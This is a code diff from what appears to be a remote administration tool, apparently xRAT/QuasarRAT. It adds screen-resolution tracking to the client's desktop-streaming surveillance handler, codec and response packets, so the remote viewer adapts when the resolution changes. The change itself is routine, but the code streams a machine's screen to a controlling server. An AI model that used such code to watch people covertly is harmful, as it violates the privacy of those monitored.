diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs
index 4ede5efc..b04bf8e7 100644
--- a/Client/Core/Commands/SurveillanceHandler.cs
+++ b/Client/Core/Commands/SurveillanceHandler.cs
@@ -26,15 +26,18 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
IsStreamingDesktop = true;
- if (StreamCodec == null)
- StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
+ var resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
- if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
+ if (StreamCodec == null)
+ StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
+
+ if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor
+ || StreamCodec.Resolution != resolution)
{
if (StreamCodec != null)
StreamCodec.Dispose();
- StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
+ StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
}
new Thread(() =>
@@ -46,6 +49,15 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
IsStreamingDesktop = false;
return;
}
+
+ // check screen resolution while streaming remote desktop
+ resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
+ if (StreamCodec != null && StreamCodec.Resolution != resolution)
+ {
+ StreamCodec.Dispose();
+ StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
+ }
+
BitmapData desktopData = null;
Bitmap desktop = null;
try
@@ -62,13 +74,14 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
new Size(desktop.Width, desktop.Height),
desktop.PixelFormat, stream);
new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
- StreamCodec.Monitor).Execute(client);
+ StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
}
}
catch (Exception)
{
if (StreamCodec != null)
- new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
+ new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
+ StreamCodec.Resolution).Execute(client);
StreamCodec = null;
}
diff --git a/Client/Core/Helper/FormatHelper.cs b/Client/Core/Helper/FormatHelper.cs
index a3a93987..912bb51e 100644
--- a/Client/Core/Helper/FormatHelper.cs
+++ b/Client/Core/Helper/FormatHelper.cs
@@ -1,4 +1,5 @@
-using System.IO;
+using System.Drawing;
+using System.IO;
using System.Text.RegularExpressions;
namespace xClient.Core.Helper
@@ -26,5 +27,10 @@ public static string DriveTypeName(DriveType type)
return type.ToString();
}
}
+
+ public static string FormatScreenResolution(Rectangle resolution)
+ {
+ return string.Format("{0}x{1}", resolution.Width, resolution.Height);
+ }
}
}
diff --git a/Client/Core/Helper/RemoteDesktopHelper.cs b/Client/Core/Helper/RemoteDesktopHelper.cs
index b036297f..0ab5e864 100644
--- a/Client/Core/Helper/RemoteDesktopHelper.cs
+++ b/Client/Core/Helper/RemoteDesktopHelper.cs
@@ -8,7 +8,7 @@ public static class RemoteDesktopHelper
{
public static Bitmap GetDesktop(int screenNumber)
{
- var bounds = Screen.AllScreens[screenNumber].Bounds;
+ var bounds = GetBounds(screenNumber);
var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics graph = Graphics.FromImage(screenshot))
{
@@ -16,5 +16,10 @@ public static Bitmap GetDesktop(int screenNumber)
return screenshot;
}
}
+
+ public static Rectangle GetBounds(int screenNumber)
+ {
+ return Screen.AllScreens[screenNumber].Bounds;
+ }
}
}
diff --git a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs
index 796179c1..182d3621 100644
--- a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs
+++ b/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs
@@ -15,15 +15,19 @@ public class GetDesktopResponse : IPacket
[ProtoMember(3)]
public int Monitor { get; set; }
+ [ProtoMember(4)]
+ public string Resolution { get; set; }
+
public GetDesktopResponse()
{
}
- public GetDesktopResponse(byte[] image, int quality, int monitor)
+ public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution)
{
this.Image = image;
this.Quality = quality;
this.Monitor = monitor;
+ this.Resolution = resolution;
}
public void Execute(Client client)
diff --git a/Client/Core/Utilities/UnsafeStreamCodec.cs b/Client/Core/Utilities/UnsafeStreamCodec.cs
index b54173c4..174b2660 100644
--- a/Client/Core/Utilities/UnsafeStreamCodec.cs
+++ b/Client/Core/Utilities/UnsafeStreamCodec.cs
@@ -10,6 +10,7 @@ namespace xClient.Core.Utilities
public class UnsafeStreamCodec : IDisposable
{
public int Monitor { get; private set; }
+ public string Resolution { get; private set; }
public Size CheckBlock { get; private set; }
public int ImageQuality
{
@@ -44,10 +45,12 @@ private set
///
/// The quality to use between 0-100.
/// The monitor used for the images.
- public UnsafeStreamCodec(int imageQuality, int monitor)
+ /// The resolution of the monitor.
+ public UnsafeStreamCodec(int imageQuality, int monitor, string resolution)
{
this.ImageQuality = imageQuality;
this.Monitor = monitor;
+ this.Resolution = resolution;
this.CheckBlock = new Size(50, 1);
}
diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs
index d7f133e6..a860f31b 100644
--- a/Server/Core/Commands/SurveillanceHandler.cs
+++ b/Server/Core/Commands/SurveillanceHandler.cs
@@ -21,14 +21,15 @@ public static void HandleGetDesktopResponse(Client client, GetDesktopResponse pa
}
if (client.Value.StreamCodec == null)
- client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor);
+ client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
- if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor)
+ if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor
+ || client.Value.StreamCodec.Resolution != packet.Resolution)
{
if (client.Value.StreamCodec != null)
client.Value.StreamCodec.Dispose();
- client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor);
+ client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
}
using (MemoryStream ms = new MemoryStream(packet.Image))
diff --git a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs
index afafea7e..d0b3fdeb 100644
--- a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs
+++ b/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs
@@ -15,15 +15,19 @@ public class GetDesktopResponse : IPacket
[ProtoMember(3)]
public int Monitor { get; set; }
+ [ProtoMember(4)]
+ public string Resolution { get; set; }
+
public GetDesktopResponse()
{
}
- public GetDesktopResponse(byte[] image, int quality, int monitor)
+ public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution)
{
this.Image = image;
this.Quality = quality;
this.Monitor = monitor;
+ this.Resolution = resolution;
}
public void Execute(Client client)
diff --git a/Server/Core/Utilities/UnsafeStreamCodec.cs b/Server/Core/Utilities/UnsafeStreamCodec.cs
index 8c8f6155..9d7c55de 100644
--- a/Server/Core/Utilities/UnsafeStreamCodec.cs
+++ b/Server/Core/Utilities/UnsafeStreamCodec.cs
@@ -10,6 +10,7 @@ namespace xServer.Core.Utilities
public class UnsafeStreamCodec : IDisposable
{
public int Monitor { get; private set; }
+ public string Resolution { get; private set; }
public Size CheckBlock { get; private set; }
public int ImageQuality
{
@@ -44,10 +45,12 @@ private set
///
/// The quality to use between 0-100.
/// The monitor used for the images.
- public UnsafeStreamCodec(int imageQuality, int monitor)
+ /// The resolution of the monitor.
+ public UnsafeStreamCodec(int imageQuality, int monitor, string resolution)
{
this.ImageQuality = imageQuality;
this.Monitor = monitor;
+ this.Resolution = resolution;
this.CheckBlock = new Size(50, 1);
}